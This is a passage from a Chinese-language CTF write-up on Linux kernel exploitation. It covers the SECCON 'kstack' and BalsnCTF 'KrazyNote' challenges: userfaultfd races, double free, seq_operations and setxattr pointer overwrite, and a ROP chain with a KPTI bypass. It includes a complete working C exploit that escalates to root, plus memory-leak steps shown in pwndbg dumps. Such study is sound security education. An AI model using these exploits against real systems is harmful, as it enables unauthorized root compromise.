return proc_file_entry == 0 ? 0xFFFFFFF4 : 0;
}
在 proc_init中注册了一个 proc_file_fops结构体，然后将该结构体的 unlocked_ioctl设置为了
proc_ioctl函数，该函数如下：
__int64 __fastcall proc_ioctl(__int64 a1, int a2, __int64 a3)
{
int v4; // er12
__int64 head_chunk; // r13
__int64 chunk1; // rbx
__int64 result; // rax
__int64 chunk; // rbx
__int64 v9; // rax
v4 = *(_DWORD *)(__readgsqword((unsigned int)¤t_task) + 0x35C);
if ( a2 == 1470889985 )
{
chunk = kmem_cache_alloc(kmalloc_caches[5], 0x6000C0LL);
*(_DWORD *)chunk = v4;
v9 = head;
head = chunk;
*(_QWORD *)(chunk + 16) = v9;
if ( !copy_from_user(chunk + 8, a3, 8LL) )
return 0LL;
head = *(_QWORD *)(chunk + 16);
kfree(chunk);
result = -22LL;
}
else
{
if ( a2 != 0x57AC0002 )
return 0LL;
head_chunk = head;
if ( !head )
return 0LL;
if ( v4 == *(_DWORD *)head )
{
if ( !copy_to_user(a3, head + 8, 8LL) )
{
chunk1 = head_chunk;
head = *(_QWORD *)(head_chunk + 16);
goto LABEL_12;
}
}
else
{
chunk1 = *(_QWORD *)(head + 16);
if ( chunk1 )
{
while ( *(_DWORD *)chunk1 != v4 )
{
head_chunk = chunk1;
if ( !*(_QWORD *)(chunk1 + 16) )
goto LABEL_16;
chunk1 = *(_QWORD *)(chunk1 + 16);
}
if ( !copy_to_user(a3, chunk1 + 8, 8LL) )
{
*(_QWORD *)(head_chunk + 16) = *(_QWORD *)(chunk1 + 16);
LABEL_12:
kfree(chunk1);
return 0LL;
}
}
}
LABEL_16:
result = -22LL;
}
return result;
}
题目名称就叫 kstack，所以意图很明显就是模拟了一个 stack的push和 pop过程，head就是 栈顶
rsp，head+0x10指向了下一个栈结构。
其中 push，会先申请一个 0x20的 slub，然后将 0x8处存上用户输入的数据，将 0x10处 赋值为 head，再将该 slub释放掉，将
head指针还原为 slub+0x10。
pop，会根据 v4从当前栈顶 head开始找到符合要求的 slub，将 0x8的数据输出给用户，然后将 该 slub释放掉。
程序总体流程没什么明显的漏洞，但是其处理函数是
unlocked_ioctl类型，而该类型是不使用内核提供的全局同步锁。所以这里就存在多线程竞争的漏洞。比如两个线程同时执行 pop，那么有可能存在当线程
1执行到 已经取得 需要 释放的 slub地址时，线程2 已经将 该 slub释放掉，然后 线程1 再次释放该 slub，最终导致一个 double
free漏洞。
而这里为了保证多线程竞争的百分百成功率，可以考虑 userfaultfd，来构造一个百分百成功的 double free漏洞。
### 利用分析
1. double free 漏洞构造
关于 userfaultfd的原理，在之前已经讲述过。这里和之前唯一不同的是，我们在处理线程中创建一个循环，不断使用 pool来等待 userfault
fd，然后读取 uffd msg。在后面写上自己的处理函数，这样就能一直针对缺页错误，进行一次 hook处理。
for (;;) {
/* See what poll() tells us about the userfaultfd */
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");
printf("\nfault_handler_thread():\n");
printf(" poll() returns: nready = %d; "
"POLLIN = %d; POLLERR = %d\n", nready,
(pollfd.revents & POLLIN) != 0,
(pollfd.revents & POLLERR) != 0);
/* Read an event from the userfaultfd */
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) {
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}
if (nread == -1)
errExit("read");
//input your code
...
那么，这里我们只需要在 handler中，写上针对不同缺页错误的，不同处理方式就可以。这里我们第一次调用缺页错误是为了构造一个 double
free，构造的方式是 在执行一次 pop的 kfree之前，穿插执行一次 pop。所以我们利用 pop来构造一个 缺页错误。并在handle中再次执行一次
pop，这样就可以将同一个 slub执行两次释放，造成一个 double free错误。
handle中处理函数如下：
puts("First Double Free");
Output(&value);
printf("[+] faultd free ok, popped: %016lx\n", value);
break;
缺页错误触发如下，由于这里的 fault_ptr是由 mmap创建的，所以会产生一个缺页错误。
puts("Doubel free:");
Output(fault_ptr);
puts(" 1 double free ok");
usleep(300);
这里简单分析一下这个double free的总体执行流程：
主线程： handler:
Output(fault_ptr)
copy_to_user(fault_ptr)触发缺页错误
Output(value)
copy_to_user(value)
kfree(slub) //第一次释放slub
ioctl(uffd, UFFDIO_COPY, &uffdio_copy) //恢复主线程的copy_to_user
kfree(slub) //造成double free
1. 泄露地址
这里由于 slub 大小只有 0x20，所以这里不能选用 tty_struct，这里可以选用 seq_operations结构体，其大小也为
0x20，而且其包含了4个函数指针，可以便于我们泄露地址：
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
其使用方法如下：
int victim = open("/proc/self/stat", O_RDONLY); //申请kmalloc-32 slub
read(victim, buf, 1); // call start
我们可以先申请一个 seq_operations结构体，其会分配为第一步中释放的 slub。
然后这里我们不能够直接使用 pop读取出来，因为 此时 head链表中已经没有该 slub，我们需要先利用 push将该
slub申请回来。但是我们又不能直接使用 push，因为 push会将申请的 slub+0x8的数据覆盖，而 pop只能读取
slub+0x8的数据。所以这里又要利用一次 userfault来使得 push在执行到 kmalloc后 和 copy_from_user之前前，先利用
pop将 head中的 slub读取出来，最后再执行 copy_from_user。
这里 handle处理函数如下：
// overlap Element and seq_operations (caused by push)
puts("Second Output to get kernel_addr");
Output(&value);
printf("[+] fault get addr ok, popped: %016lx\n", value);
kernel_base = value - offset;
break;
其触发方法如下：
puts("leak kernel_addr:");
int fd1 = open("/proc/self/stat", O_RDONLY);
if(fd1 < 0 ){
Err("Alloc stat");
}
Input(fault_ptr+0x1000);
printf("Got kernel_base: 0x%llx\n",kernel_base);
usleep(300);
1. 再次构造一个 double free
2. 覆盖函数指针
这里覆盖函数指针的方法，用到了 userfault+setxattr和 seq_operations结合。先堆喷一个
seq_operations结构体，再利用 sexattr来 修改 seq_operations结构体中的函数指针。
堆喷 seq_operations结构体：
// overlap seq_operations and setxattr buffer (cause by setxattr)
puts("Fourth alloc seq_operations");
victim_fd = open("/proc/self/stat", O_RDONLY);
printf("[+] alloc ok, victim fd: %d\n", victim_fd);
经过上面的操作，就会将第3步构造的 double free的 一个 slub分配给 seq_operations结构体。
然后，再将剩下的一个 slub分配给 setxattr，然后利用 setxattr来修改 该 slub的前 0x20字节。当
sexattr修改了slub的前 0x20字节，那么此时 seq_operation结构体的前 0x20字节的指针也被修改了。然后选择将
start指针修改为 栈迁移的 gadget。
char* data[0x30] = { 0 };
memset(data, '0', 0x30);
*(unsigned long*)((unsigned long)data+0x18) = kernel_base+stack_pivot;
setxattr("/tmp", "seccon",
(void*)((unsigned long)data),
0x20, XATTR_CREATE);
puts("change ok");
这里栈迁移的 gadget选择，没有选择之前的 xchg指令，而是选择了 mov esp, 0x5d000010的 gadget更加方便。我们只需要将
rop布置在 0x5d000010的位置即可。
1. 构造 ROP
ROP的构造就是很经典的方法，不过这里注意开启了 KPTI，所以需要绕过 KPTI保护。这里可以使用 修改
cr3寄存器的方法，但我选择使用另一种方法就是直接利用
swapgs_restore_regs_and_return_to_usermode这个函数返回，即可实现绕过
KPTI并且返回到用用户层。然后这里注意，使用该方法返回到用户层时，user_sp需要设置为一个 可执行的地址。这里就选择之前
mmap分配的一块地址即可，否则会被一个段错误。当然这个段错误也可以通过 signal捕获，然后再次执行 system来绕过。
### EXP
// gcc -static -pthread exp.c -g -o exp
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <poll.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/un.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
int fd = 0;
char bf[0x100] = { 0 };
size_t fault_ptr;
size_t fault_len = 0x4000;
size_t kernel_base = 0x0;
size_t offset = 0x13be80;
size_t victim_fd = 0;
size_t stack_pivot = 0x02cae0;
size_t preapre_kernel_cred = 0x069e00;
size_t commit_creds = 0x069c10;
size_t p_rdi_r = 0x034505;
size_t mov_rdi_rax_p_rbp_r = 0x01877f;
size_t swapgs = 0x03ef24;
size_t iretq = 0x01d5c6;
size_t kpti_bypass = 0x600a4a;
size_t user_cs, user_ss, user_sp, user_rflags;
void Err(char* buf){
printf("%s Error\n", buf);
exit(-1);
}
void fatal(const char *msg) {
perror(msg);
exit(1);
}
void savestatus(){
asm("movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
:: "memory");
}
void get_shell(){
if(!getuid()){
puts("Root Now!");
//system("/bin/sh");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
}
void Input(char* buf){
if(-1 == ioctl(fd, 1470889985, buf)){
Err("Input");
}
puts(" [=] input ok");
}
void Output(char* buf){
if(-1 == ioctl(fd, 1470889986, buf)){
Err("Output");
}
puts(" [=] output ok");
}
int page_size;
void* handler(void *arg){
unsigned long value;
static struct uffd_msg msg;
static int fault_cnt = 0;
long uffd;
static char *page = NULL;
struct uffdio_copy uffdio_copy;
int len, i;
if (page == NULL) {
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) fatal("mmap (userfaultfd)");
}
uffd = (long)arg;
for(;;) {
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
len = poll(&pollfd, 1, -1);
if (len == -1) fatal("poll");
printf("[+] fault_handler_thread():\n");
printf(" poll() returns: nready = %d; "
"POLLIN = %d; POLLERR = %d\n", len,
(pollfd.revents & POLLIN) != 0,
(pollfd.revents & POLLERR) != 0);
len = read(uffd, &msg, sizeof(msg));
if (len == 0) fatal("userfaultfd EOF");
if (len == -1) fatal("read");
if (msg.event != UFFD_EVENT_PAGEFAULT) fatal("msg.event");
printf("[+] UFFD_EVENT_PAGEFAULT event: \n");
printf(" flags = 0x%lx\n", msg.arg.pagefault.flags);
printf(" address = 0x%lx\n", msg.arg.pagefault.address);
printf("[!] fault_cnt: %d\n",fault_cnt);
switch(fault_cnt) {
case 0:
puts(" [1.1] First Double Free");
Output(&value);
printf(" [1.1] faultd free ok, popped: %016lx\n", value);
break;
case 1:
// overlap Element and seq_operations (caused by push)
puts(" [2.1] Second Output to get kernel_addr");
Output(&value);
printf(" [2.1] fault get addr ok, popped: %016lx\n", value);
kernel_base = value - offset;
break;
case 2:
// double free (caused by pop)
puts(" [3.1]Third Double free");
Output(&value);
printf(" [3.1]fault free ok, popped: %016lx\n", value);
break;
default:
puts("ponta!");
getchar();
break;
}
// return to kernel-land
uffdio_copy.src = (unsigned long)page;
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) fatal("ioctl: UFFDIO_COPY");
printf("[+] uffdio_copy.copy = %ld\n", uffdio_copy.copy);
fault_cnt++;
}
}
size_t register_userfault(size_t addr, size_t len){
long uffd;
// char *addr;
// size_t len = 0x1000;
pthread_t thr;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
// new userfaulfd
page_size = sysconf(_SC_PAGE_SIZE);
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
{
puts("userfaultfd\n");
exit(-1);
}
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) // create the user fault fd
{
puts("ioctl uffd err\n");
exit(-1);
}
// addr = mmap(NULL, len, PROT_READ | PROT_WRITE, //create page used for user fault
// MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
// if (addr == MAP_FAILED)
// {
// puts("map err\n");
// exit(-1);
// }
printf("Address returned by mmap() = %p\n", addr);
uffdio_register.range.start = (size_t) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)//注册页地址与错误处理fd，这样只要copy_from_user
// //访问到FAULT_PAGE，则访问被挂起，uffd会接收到信号
{
puts("ioctl register err\n");
exit(-1);
}
s = pthread_create(&thr, NULL, handler, (void *) uffd); //handler函数进行访存错误处理
if (s != 0) {
errno = s;
puts("pthread create err\n");
exit(-1);
}
return addr;
}
void prepare_ROP(){
char* rop_mem = mmap((void*)0x5d000000 - 0x8000, 0x10000,
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANON | MAP_POPULATE, -1, 0);
unsigned long* rop_addr = (unsigned long*)(rop_mem+0x8000+0x10);
int i = 0;
rop_addr[i++] = p_rdi_r+kernel_base;
rop_addr[i++] = 0;
rop_addr[i++] = preapre_kernel_cred+kernel_base;
rop_addr[i++] = mov_rdi_rax_p_rbp_r+kernel_base;
rop_addr[i++] = 0;
rop_addr[i++] = commit_creds+kernel_base;
// rop_addr[i++] = swapgs+kernel_base;
// rop_addr[i++] = 0;
// rop_addr[i++] = iretq+kernel_base;
rop_addr[i++] = kpti_bypass+kernel_base;
rop_addr[i++] = 0;
rop_addr[i++] = 0;
rop_addr[i++] = get_shell;
rop_addr[i++] = user_cs;
rop_addr[i++] = user_rflags;
rop_addr[i++] = 0x5d000000-0x8000+0x900;
rop_addr[i++] = user_ss;
}
int main(){
savestatus();
//register page fault
fault_ptr = mmap(NULL, fault_len, PROT_READ | PROT_WRITE, //create page used for user fault
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (fault_ptr == MAP_FAILED)
{
puts("map err\n");
exit(-1);
}
register_userfault(fault_ptr, fault_len);
fd = open("/proc/stack", O_RDONLY);
if(fd < 0){
Err("Open dev");
}
char* buf = malloc(0x100);
memset(buf, "a", 0x100);
//fault_ptr = register_userfault();
Input(buf);
memset(buf, "b", 0x100);
Input(buf);
puts("[1] Doubel free:");
Output(fault_ptr);
puts("[1] double free ok");
usleep(300);
puts("[2] leak kernel_addr:");
int fd1 = open("/proc/self/stat", O_RDONLY);
if(fd1 < 0 ){
Err("Alloc stat");
}
Input(fault_ptr+0x1000);
printf("[2] Got kernel_base: 0x%llx\n",kernel_base);
usleep(300);
puts("[3] Doubel free again");
Input(buf);
Output(fault_ptr+0x2000);
puts("[3] double free ok");
usleep(300);
//prepare data
char* data[0x30] = { 0 };
memset(data, '0', 0x30);
*(unsigned long*)((unsigned long)data+0x18) = kernel_base+stack_pivot;
puts("[4] Setxattr to change seq_operations->star ptr");
puts(" [4.1] Fourth alloc seq_operations");
victim_fd = open("/proc/self/stat", O_RDONLY);
printf(" [4.1] alloc ok, victim fd: %d\n", victim_fd);
setxattr("/tmp", "seccon",
(void*)((unsigned long)data),
0x20, XATTR_CREATE);
puts("[4] change ok");
usleep(300);
puts("[5] Prepare ROP");
prepare_ROP();
puts("[6] Trigger vul");
read(victim_fd, buf, 1);
return 0;
}
## 2019-BalsnCTF KrazyNote
### 程序分析
__int64 __fastcall init_module(__int64 a1, __int64 a2)
{
_fentry__(a1, a2);
bufptr = (__int64)&unk_B60;
return misc_register(&unk_620);
}
程序首先注册了一个 unk_B60结构，该结构体为 miscdevice
struct miscdevice {
int minor;
const char *name;
const struct file_operations *fops;
struct list_head list;
struct device *parent;
struct device *this_device;
const struct attribute_group **groups;
const char *nodename;
umode_t mode;
};
然后，可以看一下 其中 fops注册的结构 file_operations：
// file_operations结构
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
int (*iopoll)(struct kiocb *kiocb, bool spin);
int (*iterate) (struct file *, struct dir_context *);
int (*iterate_shared) (struct file *, struct dir_context *);
__poll_t (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
... truncated
};
可以看到该结构体，是对 file进行操作的结构体。我们看一下数据，会发现该结构体中，就有两个地方定义了函数 sub_10和
sub_0。而这两个地方刚好对应结构体的 unlocked_ioctl和
open指针，其他都是null。unlocked_ioctl和compat_ioctl有区别，unlocked_ioctl不使用内核提供的全局同步锁，所有的同步原语需自己实现，所以可能存在条件竞争漏洞。
sub_0函数没什么东西，我们主要具体分析 unlocked_ioctl对应的sub_10函数，其主要实现了
`new\edit\show\delete`功能。然后主要有两个结构体，一个是 note，一个是用户传入的结构体 noteRequest ：
// note结构——存储的note
struct note {
unsigned long key;
unsigned char length;
void *contentPtr;
char content[];
}
// noteRequest结构——用户参数
struct noteRequest{
size_t idx;
size_t length;
size_t userptr;
}
note中 key是用于加密存储数据的，length是数据的长度，content[]是一个动态数组的地址，用于存储数据；而
contentPtr=¬e->content - page_offset_base，别名页的地址是[SOME_OFFSET + physical
address]，page_offset_base就是这个SOME_OFFSET。
if ( (unsigned int)a2 <= 0xFFFFFF01 )
{
if ( (_DWORD)a2 != -256 ) // New
return -25LL;
idx = -1LL;
v7 = 0LL;
while ( 1 ) // get freed note
{
idx1 = (int)v7;
if ( !note_list[v7] )
break;
if ( ++v7 == 16 )
return -14LL;
}
new_note = (_QWORD *)bufptr;
idx = idx1;
note_list[idx1] = bufptr;
new_note[1] = note_length1;
v21 = (char *)(new_note + 3);
*new_note = *(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 2024) + 80LL);
v22 = n;
v23 = userbuf1;
bufptr = (__int64)new_note + n + 24; // get next free mem
if ( n > 0x100 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 256LL, n);
BUG();
}
_check_object_size(encbuf, n, 0LL);
copy_from_user(encbuf, v23, v22);
v24 = n;
v25 = (_QWORD *)note_list[idx];
if ( n )
{
v26 = 0LL;
do
{
encbuf[v26 / 8] ^= *v25;
v26 += 8LL;
}
while ( v26 < v24 );
}
memcpy(v21, encbuf, v24);
result = 0LL;
v25[2] = &v21[-page_offset_base];
}
New函数中，会首先从 note_list中得到空闲的note的idx，然后从 bufptr中取出空闲的地址，并将其赋值给 note结构，然后依次赋值
length 和 contentPtr。并将 bufptr指向下一处空闲地址，随后取出 encbuf，将用户数据拷贝到 encbuf，然后依次使用
key加密，最后将加密数据拷贝到 note->content。
if ( (_DWORD)a2 == 0xFFFFFF01 ) // Edit
{
note = note_list[idx2];
if ( note )
{
note_length = *(unsigned __int8 *)(note + 8);
user_buf1 = userbuf1;
contentArr1 = (_QWORD *)(*(_QWORD *)(note + 16) + page_offset_base);
_check_object_size(encbuf, note_length, 0LL);
copy_from_user(encbuf, user_buf1, note_length);// get user new input
if ( note_length )
{
key = (_QWORD *)note_list[idx];
for ( i = 0LL; i < note_length; i += 8LL )
encbuf[i / 8] ^= *key; // enc new data
if ( (unsigned int)note_length >= 8 )
{
*contentArr1 = encbuf[0];
*(_QWORD *)((char *)contentArr1 + (unsigned int)note_length - 8) = *(__int64 *)((char *)&userbuf1
+ (unsigned int)note_length);
result = 0LL;
qmemcpy( // copy new data to contentArr
(void *)((unsigned __int64)(contentArr1 + 1) & 0xFFFFFFFFFFFFFFF8LL),
(const void *)((char *)encbuf
- ((char *)contentArr1
- ((unsigned __int64)(contentArr1 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
8LL
* (((unsigned int)note_length + (_DWORD)contentArr1 - (((_DWORD)contentArr1 + 8) & 0xFFFFFFF8)) >> 3));
return result;
}
}
Edit看着有点乱，但是总体逻辑还是 将用户输入 通过 copy_from_user拷贝到 encbuf，然后取出 note->content地址，将
encbuf数据加密后，拷贝到 note->content中。这里 注意：
copy_from_user并不是原子性的操作，也并没有上锁，按照我们之前的分析缺页可以让其有一个很大的空窗期供我们操作，进而利用竞争改掉某些关键数据
if ( (_DWORD)a2 != -254 )
{
note_ptr = note_list;
if ( (_DWORD)a2 == -253 ) // delete
{
do
*note_ptr++ = 0LL;
while ( &_check_object_size != (__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD))note_ptr );
result = 0LL;
bufptr = (__int64)&unk_B60;
memset(&unk_B60, 0, 0x2000uLL);
return result;
}
return -25LL;
}
delete函数很简单，将相应 note都清空，然后将 bufptr里都赋值为 0。
if ( note2 ) // Show
{
userlen2 = *(unsigned __int8 *)(note2 + 8);
contentArr2 = (_DWORD *)(*(_QWORD *)(note2 + 16) + page_offset_base);
if ( (unsigned int)userlen2 >= 8 )
{
*(__int64 *)((char *)&userbuf1 + *(unsigned __int8 *)(note2 + 8)) = *(_QWORD *)((char *)contentArr2
+ *(unsigned __int8 *)(note2 + 8)
- 8);
qmemcpy(encbuf, contentArr2, 8LL * ((unsigned int)(userlen2 - 1) >> 3));
}
else if ( (userlen2 & 4) != 0 )
{
LODWORD(encbuf[0]) = *contentArr2;
*(_DWORD *)((char *)encbuf + (unsigned int)userlen2 - 4) = *(_DWORD *)((char *)contentArr2
+ (unsigned int)userlen2
- 4);
}
else if ( *(_BYTE *)(note2 + 8) )
{
LOBYTE(encbuf[0]) = *(_BYTE *)contentArr2;
if ( (userlen2 & 2) != 0 )
*(_WORD *)((char *)encbuf + (unsigned int)userlen2 - 2) = *(_WORD *)((char *)contentArr2
+ (unsigned int)userlen2
- 2);
}
if ( userlen2 )
{
for ( j = 0LL; j < userlen2; j += 8LL )
encbuf[j / 8] ^= *(_QWORD *)note2; // dec data
}
user_buf2 = userbuf1;
_check_object_size(encbuf, userlen2, 1LL);
copy_to_user(user_buf2, encbuf, userlen2);
result = 0LL;
}
show函数，取出 note->content中加密的数据，解密后，使用 copy_to_user拷贝给用户空间。
### 利用分析
上面已经将 程序漏洞说明 是位于 Edit中 copy_from_user并非原子操作，其十分耗时，导致我们可以利用这个空闲时间，使用
userfault来执行某些操作，条件竞争制造漏洞。
1. 缓冲区溢出构造
我们首先需要构造一个 堆溢出漏洞。先 New(buffer, 0x10),创建 note[0]。此时在空闲内存中的布局为，一个
note_struct的空间，加上 0x10的buf空间。
note_struct //note[0]
0x10 buf
然后 按照上面 userfaultfd的处理流程，先使用 register_userfault()注册一个 userfaultfd处理程序。然后使用
Edit(0,1 PAGE_FAULT)。这里我们将 PAGE_FAULT定义为 一个地址，这里 Edit函数 会对该 地址指向的内存
进行访问，而这个地址并没有相应的页面映射，所以这里就会造成一次 userfaultfd错误，然后我们就可以使用我们自己的注册
userfaultfd处理程序来接管程序，从而在 一次内核操作中，完成属于我们自己的操作。从而造成条件竞争。
我们在自己的 handler函数中，完成了如下步骤：
//现在主线程停在copy_from_user函数了，可以进行利用了
delete();
create(buffer, 0);
create(buffer, 0);
// 原始内存：note0 struct + 0x10 buffer
// 当前内存：note0 struct + note1 struct
// 当主线程继续拷贝时，就会破坏note1区域
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 偶从uffd读取msg结构，虽然没用
errExit("[-] Error in reading uffd_msg");
struct uffdio_copy uc;
memset(buffer, 0, sizeof(buffer));
buffer[8] = 0xf0; //把note1 的length改成0xf0
uc.src = (unsigned long)buffer;
uc.dst = (unsigned long)FAULT_PAGE;
uc.len = 0x1000;
uc.mode = 0;
ioctl(uffd, UFFDIO_COPY, &uc); // 恢复执行copy_from_user
puts("[+] done 1");
return NULL;
可以看到，我们先删掉了 `note[0]`，然后又创建了 两个 note，大小都为0。而这里我们新创建的`new_note[0]`(这里我以
new_note[0]来区分我们最开始创建的 note[0]) 与 note[0]就发生了 内存共用，而 note[1]的 结构体刚好为
note[0]的buf区域，也即我们后续可以通过 edit(note[0])来修改 note[1]结构体的内容。此时内存布局如下：
note_struct //new_note[0]
note_struct //note[1]
然后，我们在 handler中，还将 note[0].buf[8]处的值改为了 0xff，而这个地址在 新内存布局中，刚好对应
note[1].length，所以这里 实现了 一个缓冲区溢出漏洞。
1. 泄露数据
完成漏洞构造后，接下来我们就要选择泄露数据。
首先，可以利用 note[1]泄露 key，因为此时 note[1]的大小被改为了 0xff，其原本数据为 0x0，但输出时会进行解密
0^key=key，所以 能够把 key泄露出来。
然后这里后续提权，不管是用到 覆写 cred结构体，还是使用 modprobe_path的方法都必须知道 page_offset_base。因为不管是用
Edit还是 Show函数中，获取当前 note存储数据的地址，都是使用
cotentPtr+page_offset_base来获得，如下所示。那么就有一个很重要的点，当我们能修改 contentPtr后，我们就能够 写和泄露
指定地址的值。而前提就是 我们知道 page_offset_base的值。
//Edit
contentArr1 = (_QWORD *)(*(_QWORD *)(note + 16) + page_offset_base);
//Show
contentArr2 = (_DWORD *)(*(_QWORD *)(note2 + 16) + page_offset_base);
而这里为了构造一个符合我们目标的 contentPtr，我们需要先泄露当前 正确的 contentPtr值。这点我们很容易做到。只需要再创建一个
New(buffer, 0)，那么此时内存布局如下，我们输出 Show(note[1])时，其 buf[0x10]处的值即为
key^contentPtr_note2。
这样我们就把 note[2]的 contentPtr泄露出来了。
note_struct //new_note[0]
note_struct //note[1]
note_struct //note[2]
那么，接下来我们 将 contentPtr - 0x2568，得到 此时 module_base-page_offset_base的值
module_base_off 。这里为什么减去 0x2568，是因为 note[2]真实的 contentPtr位于 note.ko偏移
0x2568处。如下所示：
pwndbg> x/20xg 0xffffffffc021c520
0xffffffffc021c520: 0xffff8df0c6738000 0x0000000000000000 //note[0].key note[0].length
0xffffffffc021c530: 0x0000720f0021c538 0xffff8df0c6738000 //note[0].contentPtr note[1],key
0xffffffffc021c540: 0xffff8df0c67380f0 0x0000720f0021c550 //note[1].length note[1].contentPtr
0xffffffffc021c550: 0xffff8df0c6738000 0x0000000000000000 //note[2].key
0xffffffffc021c560: 0x0000720f0021c568 0x0000000000000000 //note[2].contentPtr
0xffffffffc021c570: 0x0000000000000000 0x0000000000000000
那么接下来，我们只需要用 module_base_off加上 我们想用的 note.ko里的偏移，就能实现对 note.ko
读写。这里，用到了一个十分巧妙地 代码：
.text:00000000000001F7 140 4C 8B 25 12 2A 00 00 mov r12, cs:page_offset_base
.text:00000000000001FE 140 4C 03 60 10 add r12, [rax+10h]
再这个代码处，用到了 page_offset_base，而这句代码是将 page_offset_base在 note.ko地基址相对于 0x1fe 的偏移
page_offset_base_offset 赋值给 r12。而 这个 page_offset_base_offset 是程序在动态执行才会被
确定的，所以我们需要 先输出 note.ko+0x1fa的值，如下所示，可以看到前 4字节 0xf9881aa2 就是
page_offset_base_offset。而这里输出 note.ko+0x1fa的方法是 将 note[2].contentPtr改为
module_base_off+0x1fa，如下所示。
pwndbg> x/10xg 0xffffffffc021a000+0x1fa
0xffffffffc021a1fa: 0x1060034cf9881aa2 0xf8c3ff86e8ee8948 //page_offset_base_offset = 0xf9881aa2
0xffffffffc021a20a: 0x8948ee894cea8948 0x8548f8d39c68e8df
0xffffffffc021a21a: 0x4824048b482b74ed 0x31c021e520c50c8b
//leak page_offset_base_offset
pwndbg> x/20xg 0xffffffffc021c520
0xffffffffc021c520: 0xffff8df0c6738000 0x0000000000000000
0xffffffffc021c530: 0x0000720f0021c538 0xffff8df0c6738000
0xffffffffc021c540: 0xffff8df0c67380f0 0x0000720f0021c550
0xffffffffc021c550: 0x0000000000000000 0x0000000000000004
0xffffffffc021c560: 0x0000720f0021a1fa 0x0000000000000000 //note[2].contentPtr
0xffffffffc021c570: 0x0000000000000000 0x0000000000000000
通过上面的方法得到 page_offset_base_offset后，我们就可以得到note.ko里的 page_offset_base的地址
page_offset_base_addr，其为 module_base_off+page_offset_base_offset+0x1fe，这里 还需要加
0x1fe的原因是 这里的 page_offset_base+offset是相对 0x1fe地址的，并不是 module_base。然后，我们就可以通过
page_offset_base_addr泄露 page_offset_base了。
pwndbg> x/20xg 0xffffffffc021c520
0xffffffffc021c520: 0xffff8df0c6738000 0x0000000000000000
0xffffffffc021c530: 0x0000720f0021c538 0xffff8df0c6738000
0xffffffffc021c540: 0xffff8df0c67380f0 0x0000720f0021c550
0xffffffffc021c550: 0x0000000000000000 0x0000000000000008
0xffffffffc021c560: 0x0000720ef9a9bca0 0x0000000000000000 //note[2].contentPtr
*RDI 0x7ffd7ec4ff20 —▸ 0x4da0c0 —▸ 0x401de0 ◂— endbr64
*RSI 0xffff9e45c021bd58 —▸ 0xffff8df0c0000000 ◂— push rbx /* 0xf000ff53f000ff53 */
//page_offset_base=0xffff8df0c0000000
这里，我们得到 page_offset_base后，就可以实现任意地址 读写了。后续提权的方法 可以使用 覆写 cred结构体，也可以使用
覆写modprobe_path。例如，我们通过 爆破遍历 到了 cred的地址，我们需要修改 cred时，需要将 note[2].contentPtr改为
(cred_addr-page_offset_base)^key的值即可。
注意，如果利用覆写 cred结构体，上面的步骤和泄露的数据已经足够。但是如果要利用 modprobe_path来说，则还需要知道
kernel_base。那么我们如何泄露呢?
在已经知道 page_offset_base的情况下， module_base_off-page_offset_base = module_base；
然后，如何泄露 kernel_base？我们可以利用上面泄露 page_offset_base的方法， 这里可以利用 note.ko里 用到
copy_to_user或 copy_from_user的地址，例如下所示：
.text:000000000000006C 140 E8 7F 2B 00 00 call _copy_from_user
.text:0000000000000071 140 48 85 C0 test rax, rax
这里调用了 copy_from_user函数，我们修改 contentPtr为 module_base_off+0x6d，然后泄露得到
copy_from_user_off相对于 0x71的偏移。那么此时 copy_from_user_addr为
module_base+0x71+copy_from_user_off。我们得到 copy_from_user函数的地址后，再减去我们通过静态分析得到的
